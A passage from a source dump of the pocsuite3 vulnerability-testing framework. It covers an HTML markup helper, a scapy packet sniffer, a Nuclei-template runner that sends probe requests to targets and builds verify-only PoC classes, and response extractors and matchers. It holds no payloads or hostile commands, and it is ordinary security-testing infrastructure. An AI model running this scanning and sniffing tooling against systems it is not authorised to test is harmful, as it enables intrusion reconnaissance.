attr.endswith(\"__\"):\n            raise AttributeError(attr)\n        # tag with single underscore should be a reserved keyword\n        if attr.startswith('_'):\n            attr = attr.lstrip('_')\n            if attr not in keyword.kwlist:\n                raise AttributeError(attr)\n\n        return element(attr, case=self.case, parent=self)\n\n    def __str__(self):\n\n        if self._full and (self.mode == 'strict_html' or self.mode == 'loose_html'):\n            end = ['</body>', '</html>']\n        else:\n            end = []\n\n        return self.separator.join(self.header + self.content + self.htmlfooter + end)\n\n    def __call__(self, escape=False):\n        \"\"\"Return the document as a string.\n\n        escape --   False   print normally\n                    True    replace < and > by &lt; and &gt;\n                            the default escape sequences in most browsers\"\"\"\n\n        if escape:\n            return _escape(self.__str__())\n        else:\n            return self.__str__()\n\n    def add(self, text):\n        \"\"\"This is an alias to addcontent.\"\"\"\n        self.addcontent(text)\n\n    def addfooter(self, text):\n        \"\"\"Add some text to the bottom of the document\"\"\"\n        self.htmlfooter.append(text)\n\n    def addheader(self, text):\n        \"\"\"Add some text to the top of the document\"\"\"\n        self.header.append(text)\n\n    def addcontent(self, text):\n        \"\"\"Add some text to the main part of the document\"\"\"\n        self.content.append(text)\n\n    def init(self, lang='en', css=None, metainfo=None, title=None, header=None,\n             footer=None, charset=None, encoding=None, doctype=None, bodyattrs=None,\n             script=None, base=None, style=None):\n        \"\"\"This method is used for complete documents with appropriate\n        doctype, encoding, title, etc information. For an HTML/XML snippet\n        omit this method.\n\n        lang --     language, usually a two character string, will appear\n                    as <html lang='en'> in html mode (ignored in xml mode)\n\n        css --      Cascading Style Sheet filename as a string or a list of\n                    strings for multiple css files (ignored in xml mode)\n\n        metainfo -- a dictionary in the form { 'name':'content' } to be inserted\n                    into meta element(s) as <meta name='name' content='content'>\n                    (ignored in xml mode)\n\n        base     -- set the <base href=\"...\"> tag in <head>\n\n        bodyattrs --a dictionary in the form { 'key':'value', ... } which will be added\n                    as attributes of the <body> element as <body key='value' ... >\n                    (ignored in xml mode)\n\n        script --   dictionary containing src:type pairs, <script type='text/type' src=src></script>\n                    or a list of [ 'src1', 'src2', ... ] in which case 'javascript' is assumed for all\n\n        title --    the title of the document as a string to be inserted into\n                    a title element as <title>my title</title> (ignored in xml mode)\n\n        header --   some text to be inserted right after the <body> element\n                    (ignored in xml mode)\n\n        footer --   some text to be inserted right before the </body> element\n                    (ignored in xml mode)\n\n        charset --  a string defining the character set, will be inserted into a\n                    <meta http-equiv='Content-Type' content='text/html; charset=myset'>\n                    element (ignored in xml mode)\n\n        encoding -- a string defining the encoding, will be put into to first line of\n                    the document as <?xml version='1.0' encoding='myencoding' ?> in\n                    xml mode (ignored in html mode)\n\n        doctype --  the document type string, defaults to\n                    <!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'>\n                    in html mode (ignored in xml mode)\"\"\"\n\n        self._full = True\n\n        if self.mode == 'strict_html' or self.mode == 'loose_html':\n            if doctype is None:\n                doctype = \"<!DOCTYPE HTML>\"\n            self.header.append(doctype)\n            self.html(lang=lang)\n            self.head()\n            if charset is not None:\n                self.meta(http_equiv='Content-Type', content=\"text/html; charset=%s\" % charset)\n            if metainfo is not None:\n                self.metainfo(metainfo)\n            if css is not None:\n                self.css(css)\n            if title is not None:\n                self.title(title)\n            if script is not None:\n                self.scripts(script)\n            if base is not None:\n                self.base(href='%s' % base)\n            if style is not None:\n                self.content.append('<style type=\"text/css\">%s</style>' % style)\n            self.head.close()\n            self.html()\n            if bodyattrs is not None:\n                self.body(**bodyattrs)\n            else:\n                self.body()\n            if header is not None:\n                self.content.append(header)\n            if footer is not None:\n                self.htmlfooter.append(footer)\n\n        elif self.mode == 'xml':\n            if doctype is None:\n                if encoding is not None:\n                    doctype = \"<?xml version='1.0' encoding='%s' ?>\" % encoding\n                else:\n                    doctype = \"<?xml version='1.0' ?>\"\n            self.header.append(doctype)\n\n    def css(self, filelist):\n        \"\"\"This convenience function is only useful for html.\n        It adds css stylesheet(s) to the document via the <link> element.\"\"\"\n\n        if isinstance(filelist, basestring):\n            self.link(href=filelist, rel='stylesheet', type='text/css', media='all')\n        else:\n            for file in filelist:\n                self.link(href=file, rel='stylesheet', type='text/css', media='all')\n\n    def metainfo(self, mydict):\n        \"\"\"This convenience function is only useful for html.\n        It adds meta information via the <meta> element, the argument is\n        a dictionary of the form { 'name':'content' }.\"\"\"\n\n        if isinstance(mydict, dict):\n            for name, content in list(mydict.items()):\n                self.meta(name=name, content=content)\n        else:\n            raise TypeError(\"Metainfo should be called with a dictionary argument of name:content pairs.\")\n\n    def scripts(self, mydict):\n        \"\"\"Only useful in html, mydict is dictionary of src:type pairs or a list\n        of script sources [ 'src1', 'src2', ... ] in which case 'javascript' is assumed for type.\n        Will be rendered as <script type='text/type' src=src></script>\"\"\"\n\n        if isinstance(mydict, dict):\n            for src, type in list(mydict.items()):\n                self.script('', src=src, type='text/%s' % type)\n        else:\n            try:\n                for src in mydict:\n                    self.script('', src=src, type='text/javascript')\n            except:\n                raise TypeError(\"Script should be given a dictionary of src:type pairs or a list of javascript src's.\")\n\n\nclass _oneliner:\n    \"\"\"An instance of oneliner returns a string corresponding to one element.\n    This class can be used to write 'oneliners' that return a string\n    immediately so there is no need to instantiate the page class.\"\"\"\n\n    def __init__(self, case='lower'):\n        self.case = case\n\n    def __getattr__(self, attr):\n\n        # tags should start with double underscore\n        if attr.startswith(\"__\") and attr.endswith(\"__\"):\n            raise AttributeError(attr)\n        # tag with single underscore should be a reserved keyword\n        if attr.startswith('_'):\n            attr = attr.lstrip('_')\n            if attr not in keyword.kwlist:\n                raise AttributeError(attr)\n\n        return element(attr, case=self.case, parent=None)\n\n\noneliner = _oneliner(case='lower')\nupper_oneliner = _oneliner(case='upper')\ngiven_oneliner = _oneliner(case='given')\n\n\ndef _argsdicts(args, mydict):\n    \"\"\"A utility generator that pads argument list and dictionary values, will only be called with len( args ) = 0, 1.\"\"\"\n\n    if len(args) == 0:\n        args = None,\n    elif len(args) == 1:\n        args = _totuple(args[0])\n    else:\n        raise Exception(\"We should have never gotten here.\")\n\n    mykeys = list(mydict.keys())\n    myvalues = list(map(_totuple, list(mydict.values())))\n\n    maxlength = max(list(map(len, [args] + myvalues)))\n\n    for i in range(maxlength):\n        thisdict = {}\n        for key, value in zip(mykeys, myvalues):\n            try:\n                thisdict[key] = value[i]\n            except IndexError:\n                thisdict[key] = value[-1]\n        try:\n            thisarg = args[i]\n        except IndexError:\n            thisarg = args[-1]\n\n        yield thisarg, thisdict\n\n\ndef _totuple(x):\n    \"\"\"Utility stuff to convert string, int, long, float, None or anything to a usable tuple.\"\"\"\n\n    if isinstance(x, basestring):\n        out = x,\n    elif isinstance(x, (int, long, float)):\n        out = str(x),\n    elif x is None:\n        out = None,\n    else:\n        out = tuple(x)\n\n    return out\n\n\ndef escape(text, newline=False):\n    \"\"\"Escape special html characters.\"\"\"\n\n    if isinstance(text, basestring):\n        if '&' in text:\n            text = text.replace('&', '&amp;')\n        if '>' in text:\n            text = text.replace('>', '&gt;')\n        if '<' in text:\n            text = text.replace('<', '&lt;')\n        if '\\\"' in text:\n            text = text.replace('\\\"', '&quot;')\n        if '\\'' in text:\n            text = text.replace('\\'', '&quot;')\n        if newline:\n            if '\\n' in text:\n                text = text.replace('\\n', '<br>')\n\n    return text\n\n\n_escape = escape\n\n\ndef unescape(text):\n    \"\"\"Inverse of escape.\"\"\"\n\n    if isinstance(text, basestring):\n        if '&amp;' in text:\n            text = text.replace('&amp;', '&')\n        if '&gt;' in text:\n            text = text.replace('&gt;', '>')\n        if '&lt;' in text:\n            text = text.replace('&lt;', '<')\n        if '&quot;' in text:\n            text = text.replace('&quot;', '\\\"')\n\n    return text\n\n\nclass dummy:\n    \"\"\"A dummy class for attaching attributes.\"\"\"\n    pass\n\n\ndoctype = dummy()\ndoctype.frameset = \"\"\"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Frameset//EN\" \"http://www.w3.org/TR/html4/frameset.dtd\">\"\"\"\ndoctype.strict = \"\"\"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/strict.dtd\">\"\"\"\ndoctype.loose = \"\"\"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\"\"\"\n\n\nclass russell:\n    \"\"\"A dummy class that contains anything.\"\"\"\n\n    def __contains__(self, item):\n        return True\n\n\nclass MarkupError(Exception):\n    \"\"\"All our exceptions subclass this.\"\"\"\n\n    def __str__(self):\n        return self.message\n\n\nclass ClosingError(MarkupError):\n    def __init__(self, tag):\n        self.message = \"The element '%s' does not accept non-keyword arguments (has no closing tag).\" % tag\n\n\nclass OpeningError(MarkupError):\n    def __init__(self, tag):\n        self.message = \"The element '%s' can not be opened.\" % tag\n\n\nclass ArgumentError(MarkupError):\n    def __init__(self, tag):\n        self.message = \"The element '%s' was called with more than one non-keyword argument.\" % tag\n\n\nclass InvalidElementError(MarkupError):\n    def __init__(self, tag, mode):\n        self.message = \"The element '%s' is not valid for your mode '%s'.\" % (tag, mode)\n\n\nclass DeprecationError(MarkupError):\n    def __init__(self, tag):\n        self.message = \"The element '%s' is deprecated, instantiate markup.page with mode='loose_html' to allow it.\" % tag\n\n\nclass ModeError(MarkupError):\n    def __init__(self, mode):\n        self.message = \"Mode '%s' is invalid, possible values: strict_html, html (alias for strict_html), loose_html, xml.\" % mode\n\n\nclass CustomizationError(MarkupError):\n    def __init__(self):\n        self.message = \"If you customize the allowed elements, you must define both types 'onetags' and 'twotags'.\"\n\n\nif __name__ == '__main__':\n    import sys\n\n    sys.stdout.write(__doc__)\n"
  },
  {
    "path": "pocsuite3/lib/utils/pcap_sniffer.py",
    "content": "import os\nfrom threading import Thread, Event\nfrom pocsuite3.lib.core.common import data_to_stdout, mosaic\nfrom pocsuite3.lib.core.data import logger\n\nimport logging\nos.environ[\"MPLBACKEND\"] = \"Agg\"\nlogging.getLogger(\"scapy\").setLevel(logging.ERROR)\nfrom scapy.all import (\n    WINDOWS,\n    get_if_list,\n    get_if_addr,\n    AsyncSniffer\n)\n\n\nclass Sniffer(Thread):\n    def __init__(self, filter):\n        super().__init__()\n        self.filter = \"host %s\" % filter\n        self.daemon = True\n        self.socket = None\n        self.use_pcap = True\n        self.is_admin = False\n        logger.info(\n            'Local network adapter information, choose a network you want to '\n            'capture.'\n        )\n        message = '----- Local IP Address -----\\n'\n        ifaces = []\n        if WINDOWS:\n            import ctypes\n            from scapy.all import IFACES\n            if ctypes.windll.shell32.IsUserAnAdmin():\n                self.is_admin = True\n            for i, iface in enumerate(sorted(IFACES)):\n                dev = IFACES[iface]\n                ifaces.append(dev.description)\n                message += \"{0}   {1}    {2}\\n\".format(\n                    i, dev.description, mosaic(dev.ip))\n        else:\n            if os.getuid() == 0:\n                self.is_admin = True\n            ifaces = get_if_list()\n            for i, iface in enumerate(ifaces):\n                ip = get_if_addr(iface)\n                message += \"{0}   {1}    {2}\\n\".format(i, iface, mosaic(ip))\n        data_to_stdout(message)\n        choose = input('Choose>: ').strip()\n        self.interface = ifaces[int(choose)]\n        self.use_pcap = True\n        self.stop_sniffer = Event()\n        self.pcap = None\n\n    def run(self):\n        self.pcap = AsyncSniffer()\n        # In order to ensure that all packets can be captured,\n        # a adapter must be specified. If it is all adapters,\n        # it will lost the data package\n        self.pcap._run(iface=self.interface, filter=self.filter)\n\n    def join(self, timeout=None):\n        self.pcap.continue_sniff = False\n        super().join(timeout)\n"
  },
  {
    "path": "pocsuite3/lib/yaml/__init__.py",
    "content": ""
  },
  {
    "path": "pocsuite3/lib/yaml/nuclei/__init__.py",
    "content": "import binascii\nimport json\nimport re\nimport socket\nfrom collections import OrderedDict\n\nimport dacite\nimport yaml\nfrom pocsuite3.lib.core.common import urlparse\nfrom pocsuite3.lib.utils import random_str\nfrom pocsuite3.lib.yaml.nuclei.model import Severify\nfrom pocsuite3.lib.yaml.nuclei.operators import ExtractorType, MatcherType\nfrom pocsuite3.lib.yaml.nuclei.protocols.common.expressions import evaluate, Marker\nfrom pocsuite3.lib.yaml.nuclei.protocols.common.generators import AttackType\nfrom pocsuite3.lib.yaml.nuclei.protocols.http import HTTPMethod, execute_http_request\nfrom pocsuite3.lib.yaml.nuclei.protocols.network import NetworkInputType, execute_network_request\nfrom pocsuite3.lib.yaml.nuclei.templates import Template\n\n\ndef hyphen_to_underscore(dictionary):\n    \"\"\"\n    Takes an Array or dictionary and replace all the hyphen('-') in any of its keys with a underscore('_')\n    :param dictionary:\n    :return: the same object with all hyphens replaced by underscore\n    \"\"\"\n    # By default, return the same object\n    final_dict = dictionary\n\n    # for Array perform this method on every object\n    if isinstance(dictionary, list):\n        final_dict = []\n        for item in dictionary:\n            final_dict.append(hyphen_to_underscore(item))\n\n    # for dictionary traverse all the keys and replace hyphen with underscore\n    elif isinstance(dictionary, dict):\n        final_dict = {}\n        for k, v in dictionary.items():\n            # If there is a sub dictionary or an array perform this method of it recursively\n            if isinstance(dictionary[k], (dict, list)):\n                value = hyphen_to_underscore(v)\n                final_dict[k.replace('-', '_')] = value\n            else:\n                final_dict[k.replace('-', '_')] = v\n\n    return final_dict\n\n\ndef expand_preprocessors(data: str) -> str:\n    \"\"\"\n    Certain pre-processors can be specified globally anywhere in the template that run as soon as\n    the template is loaded to achieve things like random ids generated for each template run.\n\n    randstr can be suffixed by a number, and new random ids will be created for those names too.\n    Ex. {{randstr_1}} which will remain same across the template.\n    randstr is also supported within matchers and can be used to match the inputs.\n    \"\"\"\n    randstr_to_replace = set(m[0] for m in re.findall(\n        fr'({Marker.ParenthesisOpen}randstr(_\\w+)?{Marker.ParenthesisClose})', data))\n    for s in randstr_to_replace:\n        data = data.replace(s, random_str(27))\n\n    return data\n\n\nclass Nuclei:\n    def __init__(self, template, target=''):\n        self.yaml_template = template\n        try:\n            self.yaml_template = binascii.unhexlify(self.yaml_template).decode()\n        except ValueError:\n            pass\n        self.json_template = yaml.safe_load(expand_preprocessors(self.yaml_template))\n\n        # Breaking Changes in nuclei v2.9.1, Updated protocol attribute name (requests=> http & network => tcp)\n        # in templates, Templates with the use of requests and network will still work but will be deprecated\n        # completely in the future.\n\n        if 'http' in self.json_template:\n            self.json_template['requests'] = self.json_template['http']\n        if 'tcp' in self.json_template:\n            self.json_template['network'] = self.json_template['tcp']\n\n        self.template = dacite.from_dict(\n            Template, hyphen_to_underscore(self.json_template),\n            config=dacite.Config(cast=[Severify, ExtractorType, MatcherType, HTTPMethod, AttackType, NetworkInputType]))\n\n        self.target = target\n        self.interactsh = None\n        self.dynamic_values = OrderedDict()\n\n    def execute_template(self):\n        # Dynamic variables can be placed in the path to modify its behavior on runtime.\n        # Variables start with {{ and end with }} and are case-sensitive.\n\n        u = urlparse(self.target)\n        self.dynamic_values['BaseURL'] = self.target\n        self.dynamic_values['RootURL'] = f'{u.scheme}://{u.netloc}'\n        self.dynamic_values['Hostname'] = u.netloc\n        self.dynamic_values['Scheme'] = u.scheme\n        self.dynamic_values['Host'] = u.hostname\n        self.dynamic_values['Port'] = u.port\n        self.dynamic_values['Path'] = '/'.join(u.path.split('/')[0:-1])\n        self.dynamic_values['File'] = u.path.split('/')[-1]\n        # DSL: Host != ip\n        self.dynamic_values['IP'] = ''\n        try:\n            self.dynamic_values['IP'] = socket.gethostbyname(u.hostname)\n        except socket.error:\n            pass\n        for k, v in self.dynamic_values.copy().items():\n            self.dynamic_values[k.lower()] = v\n\n        # Variables can be used to declare some values which remain constant throughout the template.\n        # The value of the variable once calculated does not change.\n        # Variables can be either simple strings or DSL helper functions. If the variable is a helper function,\n        # it is enclosed in double-curly brackets {{<expression>}}. Variables are declared at template level.\n\n        # Example variables:\n\n        # variables:\n        #     a1: \"test\" # A string variable\n        #     a2: \"{{to_lower(rand_base(5))}}\" # A DSL function variable\n\n        for k, v in self.template.variables.items():\n            self.dynamic_values[k] = evaluate(v)\n\n        # Since release of Nuclei v2.3.6, Nuclei supports using the interact.sh API to achieve OOB based\n        # vulnerability scanning with automatic Request correlation built in. It's as easy as writing\n        # {{interactsh-url}} anywhere in the request.\n\n        if (f'{Marker.ParenthesisOpen}interactsh-url{Marker.ParenthesisClose}' in self.yaml_template or\n                f'{Marker.General}interactsh-url{Marker.General}' in self.yaml_template):\n            from pocsuite3.lib.yaml.nuclei.protocols.common.interactsh import InteractshClient\n            self.interactsh = InteractshClient()\n            self.dynamic_values['interactsh-url'] = self.interactsh.client.domain\n\n        for request in self.template.requests:\n            res = execute_http_request(request, self.dynamic_values, self.interactsh)\n            if res:\n                return res\n        for request in self.template.network:\n            res = execute_network_request(request, self.dynamic_values, self.interactsh)\n            if res:\n                return res\n\n        return False\n\n    def run(self):\n        return self.execute_template()\n\n    def __str__(self):\n        \"\"\"\n        Convert nuclei template to Pocsuite3\n        \"\"\"\n        info = []\n        key_convert = {\n            'description': 'desc',\n            'reference': 'references'\n        }\n        for k, v in self.json_template['info'].items():\n            if k in key_convert:\n                k = key_convert.get(k)\n            if type(v) in [str]:\n                v = json.dumps(v.strip())\n\n            info.append(f'    {k} = {v}')\n\n        poc_code = [\n            'from pocsuite3.api import POCBase, Nuclei, register_poc\\n',\n            '\\n',\n            '\\n',\n            'class TestPOC(POCBase):\\n',\n            '\\n'.join(info),\n            '\\n',\n            '    def _verify(self):\\n',\n            '        result = {}\\n',\n            '        if not self._check(is_http=%s):\\n' % (len(self.template.requests) > 0),\n            '            return self.parse_output(result)\\n',\n            \"        template = '%s'\\n\" % binascii.hexlify(self.yaml_template.encode()).decode(),\n            '        res = Nuclei(template, self.url).run()\\n',\n            '        if res:\\n',\n            '            result[\"VerifyInfo\"] = {}\\n',\n            '            result[\"VerifyInfo\"][\"URL\"] = self.url\\n',\n            '            result[\"VerifyInfo\"][\"Info\"] = {}\\n',\n            '            result[\"VerifyInfo\"][\"Info\"][\"Severity\"] = \"%s\"\\n' % self.template.info.severity.value,\n            '            if not isinstance(res, bool):\\n'\n            '               result[\"VerifyInfo\"][\"Info\"][\"Result\"] = res\\n',\n            '        return self.parse_output(result)\\n',\n            '\\n',\n            '\\n',\n            'register_poc(TestPOC)\\n'\n        ]\n        return ''.join(poc_code)\n"
  },
  {
    "path": "pocsuite3/lib/yaml/nuclei/model/__init__.py",
    "content": "from dataclasses import dataclass, field\nfrom enum import Enum\nfrom typing import NewType, Union\n\nStrSlice = NewType('StrSlice', Union[str, list])\n\n\nclass CaseInsensitiveEnum(Enum):\n    @classmethod\n    def _missing_(cls, value: str):\n        for member in cls:\n            if member.value == value.lower():\n                return member\n\n\nclass Severify(CaseInsensitiveEnum):\n    Info = 'info'\n    Low = 'low'\n    Medium = 'medium'\n    High = 'high'\n    Critical = 'critical'\n    Unknown = 'unknown'\n\n\n@dataclass\nclass Classification:\n    \"\"\"Classification contains the vulnerability classification data for a template.\n    \"\"\"\n    cve_id: StrSlice = field(default_factory=list)\n    cwe_id: StrSlice = field(default_factory=list)\n    cvss_metrics: str = ''\n    cvss_score: float = 0.0\n\n\n@dataclass\nclass Info:\n    \"\"\"Info contains metadata information about a template\n    \"\"\"\n    name: str = ''\n    author: StrSlice = field(default_factory=list)\n    tags: StrSlice = field(default_factory=list)\n    description: str = ''\n    reference: StrSlice = field(default_factory=list)\n    severity: Severify = Severify.Unknown\n    metadata: dict = field(default_factory=dict)\n    classification: Classification = field(default_factory=Classification)\n    remediation: str = ''\n"
  },
  {
    "path": "pocsuite3/lib/yaml/nuclei/operators/__init__.py",
    "content": "from pocsuite3.lib.yaml.nuclei.operators.extrators import (Extractor,\n                                                           ExtractorType,\n                                                           extract_dsl,\n                                                           extract_json,\n                                                           extract_kval,\n                                                           extract_regex,\n                                                           extract_xpath)\nfrom pocsuite3.lib.yaml.nuclei.operators.matchers import (Matcher, MatcherType,\n                                                          match_binary,\n                                                          match_dsl,\n                                                          match_regex,\n                                                          match_size,\n                                                          match_status_code,\n                                                          match_words,\n                                                          match_xpath)\n\n__all__ = [\n    \"ExtractorType\",\n    \"Extractor\",\n    \"extract_regex\",\n    \"extract_kval\",\n    \"extract_xpath\",\n    \"extract_json\",\n    \"extract_dsl\",\n    \"Matcher\",\n    \"MatcherType\",\n    \"match_status_code\",\n    \"match_size\",\n    \"match_words\",\n    \"match_regex\",\n    \"match_binary\",\n    \"match_dsl\",\n    \"match_xpath\",\n]\n"
  },
  {
    "path": "pocsuite3/lib/yaml/nuclei/operators/extrators/__init__.py",
    "content": "import json\nimport re\nfrom dataclasses import dataclass, field\nfrom typing import List\n\nfrom lxml import etree\nfrom requests.structures import CaseInsensitiveDict\n\nfrom pocsuite3.lib.core.log import LOGGER as logger\nfrom pocsuite3.lib.yaml.nuclei.model import CaseInsensitiveEnum\nfrom pocsuite3.lib.yaml.nuclei.protocols.common.expressions import evaluate, UNRESOLVED_VARIABLE, Marker\n\n\nclass ExtractorType(CaseInsensitiveEnum):\n    RegexExtractor = \"regex\"\n    KValExtractor = \"kval\"\n    XPathExtractor = \"xpath\"\n    JSONExtractor = \"json\"\n    DSLExtractor = \"dsl\"\n\n\n@dataclass\nclass Extractor:\n    \"\"\"Extractor is used to extract part of response using a regex.\n    \"\"\"\n    # Name of the extractor. Name should be lowercase and must not contain spaces or underscores (_).\n    name: str = ''\n\n    # Type is the type of the extractor.\n    type: ExtractorType = ExtractorType.RegexExtractor\n\n    # Regex contains the regular expression patterns to extract from a part.\n    regex: List[str] = field(default_factory=list)\n\n    # Group specifies a numbered group to extract from the regex.\n    group: int = 0\n\n    # kval contains the key-value pairs present in the HTTP response header.\n    kval: List[str] = field(default_factory=list)\n\n    # JSON allows using jq-style syntax to extract items from json response\n    json: List[str] = field(default_factory=list)\n\n    # XPath allows using xpath expressions to extract items from html response\n    xpath: List[str] = field(default_factory=list)\n\n    # Attribute is an optional attribute to extract from response XPath.\n    attribute: str = ''\n\n    # Extracts using DSL expressions\n    dsl: List[str] = field(default_factory=list)\n\n    # Part is the part of the request response to extract data from.\n    part: str = ''\n\n    # Internal, when set to true will allow using the value extracted in the next request for some protocols (like\n    # HTTP).\n    internal: bool = False\n\n    # CaseInsensitive enables case-insensitive extractions. Default is false.\n    case_insensitive: bool = False\n\n\ndef extract_regex(e: Extractor, corpus: str) -> dict:\n    \"\"\"Extract data from response based on a Regular Expression.\n    \"\"\"\n    results = {'internal': {}, 'external': {}, 'extra_info': []}\n\n    if e.internal and e.name:\n        results['internal'][e.name] = UNRESOLVED_VARIABLE\n\n    for regex in e.regex:\n        matches = re.search(regex, corpus)\n        if not matches:\n            continue\n\n        lastindex = matches.lastindex\n\n        group = e.group if lastindex and lastindex >= e.group else 0\n        res = matches.group(group)\n        if not res:\n            continue\n\n        if e.name:\n            if e.internal:\n                results['internal'][e.name] = res\n            else:\n                results['external'][e.name] = res\n            return results\n        else:\n            results['extra_info'].append(res)\n    return results\n\n\ndef extract_kval(e: Extractor, headers: CaseInsensitiveDict) -> dict:\n    \"\"\"Extract key: value/key=value formatted data from Response Header/Cookie\n    \"\"\"\n    if not isinstance(headers, CaseInsensitiveDict):\n        headers = CaseInsensitiveDict(headers)\n\n    results = {'internal': {}, 'external': {}, 'extra_info': []}\n\n    if e.internal and e.name:\n        results['internal'][e.name] = UNRESOLVED_VARIABLE\n\n    for k in e.kval:\n        res = ''\n        if k in headers:\n            res = headers[k]\n        # kval extractor does not accept dash (-) as input and must be substituted with underscore (_)\n        elif k.replace('_', '-') in headers:\n            res = headers[k.replace('_', '-')]\n        if not res:\n            continue\n\n        if e.name:\n            if e.internal:\n                results['internal'][e.name] = res\n            else:\n                results['external'][e.name] = res\n            return results\n        else:\n            results['extra_info'].append(res)\n    return results\n\n\ndef extract_xpath(e: Extractor, corpus: str) -> dict:\n    \"\"\"A xpath extractor example to extract value of href attribute from HTML response\n    \"\"\"\n    results = {'internal': {}, 'external': {}, 'extra_info': []}\n\n    if e.internal and e.name:\n        results['internal'][e.name] = UNRESOLVED_VARIABLE\n\n    if corpus.startswith('<?xml'):\n        doc = etree.XML(corpus)\n    else:\n        doc = etree.HTML(corpus)\n\n    if doc is None:\n        return results\n\n    for x in e.xpath:\n        nodes = doc.xpath(x)\n        for n in nodes:\n            res = ''\n            if e.attribute:\n                res = n.attrib[e.attribute]\n            else:\n                res = n.text\n            if not res:\n                continue\n\n            if e.name:\n                if e.internal:\n                    results['internal'][e.name] = res\n                else:\n                    results['external'][e.name] = res\n                return results\n            else:\n                results['extra_info'].append(res)\n    return results\n\n\ndef extract_json(e: Extractor, corpus: str) -> dict:\n    \"\"\"Extract data from JSON based response in JQ like syntax\n    \"\"\"\n    results = {'internal': {}, 'external': {}, 'extra_info': []}\n\n    if e.internal and e.name:\n        results['internal'][e.name] = UNRESOLVED_VARIABLE\n\n    try:\n        corpus = json.loads(corpus)\n    except json.JSONDecodeError:\n        return results\n\n    try:\n        import jq\n    except ImportError:\n        logger.error('Python bindings for jq not installed, it only supports linux and macos, https://pypi.org/project/jq/')\n        return results\n\n    for j in e.json:\n        try:\n            res = jq.compile(j).input(corpus).all()\n        except ValueError:\n            continue\n        if not res:\n            continue\n\n        if e.name:\n            if e.internal:\n                results['internal'][e.name] = res\n            else:\n                results['external'][e.name] = res\n            return results\n        else:\n            results['extra_info'].append(res)\n    return results\n\n\ndef extract_dsl(e: Extractor, data: dict) -> dict:\n    \"\"\"Extract data from the response based on a DSL expressions\n    \"\"\"\n    results = {'internal': {}, 'external': {}, 'extra_info': []}\n\n    if e.internal and e.name:\n        results['internal'][e.name] = UNRESOLVED_VARIABLE\n\n    for expression in e.dsl:\n        res = evaluate(f'{Marker.ParenthesisOpen}{expression}{Marker.ParenthesisClose}', data)\n        if res == expression:\n            continue\n        if e.name:\n            if e.internal:\n                results['internal'][e.name] = res\n            else:\n                results['external'][e.name] = res\n            return results\n        else:\n            results['extra_info'].append(res)\n    return results\n"
  },
  {
    "path": "pocsuite3/lib/yaml/nuclei/operators/matchers/__init__.py",
    "content": "import binascii\nimport re\nfrom dataclasses import dataclass, field\nfrom lxml import html\nfrom typing import List\n\nfrom pocsuite3.lib.yaml.nuclei.model import CaseInsensitiveEnum\nfrom pocsuite3.lib.yaml.nuclei.protocols.common.expressions import evaluate, Marker\n\n\nclass MatcherType(CaseInsensitiveEnum):\n    StatusMatcher = \"status\"\n    SizeMatcher = \"size\"\n    WordsMatcher = \"word\"\n    RegexMatcher = \"regex\"\n    BinaryMatcher = \"binary\"\n    DSLMatcher = \"dsl\"\n    XpathMatcher = \"xpath\"\n\n\n@dataclass\nclass Matcher:\n    \"\"\"Matcher is used to match a part in the output from a protocol.\n    \"\"\"\n\n    # Type is the type of the matcher.\n    type: MatcherType = MatcherType.WordsMatcher\n\n    # Condition is the optional condition between two matcher variables. By default, the condition is assumed to be OR.\n    condition: str = 'or'\n\n    # Part is the part of the request response to match data from. Each protocol exposes a lot of different parts.\n    # default matched part is body if not defined.\n    part: str = 'body'\n\n    # Negative specifies if the match should be reversed. It will only match if the condition is not true.\n    negative: bool = False\n\n    # Name of the matcher. Name should be lowercase and must not contain spaces or underscores (_).\n    name: str = ''\n\n    # Status are the acceptable status codes for the response.\n    status: List[int] = field(default_factory=list)\n\n    # Size is the acceptable size for the response\n    size: List[int] = field(default_factory=list)\n\n    # Words contains word patterns required to be present in the response part.\n    words: List[str] = field(default_factory=list)\n\n    # Regex contains Regular Expression patterns required to be present in the response part.\n    regex: List[str] = field(default_factory=list)\n\n    # Xpath contains xpath patterns required to be present in the response part.\n    xpath: List[str] = field(default_factory=list)\n\n    # Binary are the binary patterns required to be present in the response part.\n    binary: List[str] = field(default_factory=list)\n\n    # DSL are the dsl expressions that will be evaluated as part of nuclei matching rules.\n    dsl: List[str] = field(default_factory=list)\n\n    # Encoding specifies the encoding for the words field if any.\n    encoding: str = ''\n\n    # CaseInsensitive enables case-insensitive matches. Default is false.\n    case_insensitive: bool = False\n\n    # MatchAll enables matching for all matcher values. Default is false.\n    match_all: bool = False\n\n\ndef match_status_code(matcher: Matcher, status_code: int):\n    \"\"\"Matches a status code check against a corpus\n    \"\"\"\n    return status_code in matcher.status\n\n\ndef match_size(matcher: Matcher, length: int):\n    \"\"\"Matches a size check against a corpus\n    \"\"\"\n    return length in matcher.size\n\n\ndef match_words(matcher: Matcher, corpus: str, data: dict) -> (bool, list):\n    \"\"\"Matches a word check against a corpus\n    \"\"\"\n    if matcher.case_insensitive:\n        corpus = corpus.lower()\n\n    matched_words = []\n    for i, word in enumerate(matcher.words):\n        word = evaluate(word, data)\n        if matcher.encoding == 'hex':\n            try:\n                word = binascii.unhexlify(word).decode()\n            except (ValueError, UnicodeDecodeError):\n                pass\n        if matcher.case_insensitive:\n            word = word.lower()\n\n        if word not in corpus:\n            if matcher.condition == 'and':\n                return False, []\n            elif matcher.condition == 'or':\n                continue\n\n        if matcher.condition == 'or' and not matcher.match_all:\n            return True, [word]\n\n        matched_words.append(word)\n\n        if len(matcher.words) - 1 == i and not matcher.match_all:\n            return True, matched_words\n\n    if len(matched_words) > 0 and matcher.match_all:\n        return True, matched_words\n\n    return False, []\n\n\ndef match_regex(matcher: Matcher, corpus: str) -> (bool, list):\n    \"\"\"Matches a regex check against a corpus\n    \"\"\"\n    matched_regexes = []\n    for i, regex in enumerate(matcher.regex):\n        if not re.search(regex, corpus):\n            if matcher.condition == 'and':\n                return False, []\n            elif matcher.condition == 'or':\n                continue\n\n        current_matches = re.findall(regex, corpus)\n        if matcher.condition == 'or' and not matcher.match_all:\n            return True, matched_regexes\n\n        matched_regexes = matched_regexes + current_matches\n        if len(matcher.regex) - 1 == i and not matcher.match_all:\n            return True, matched_regexes\n\n    if len(matched_regexes) > 0 and matcher.match_all:\n        return True, matched_regexes\n\n    return 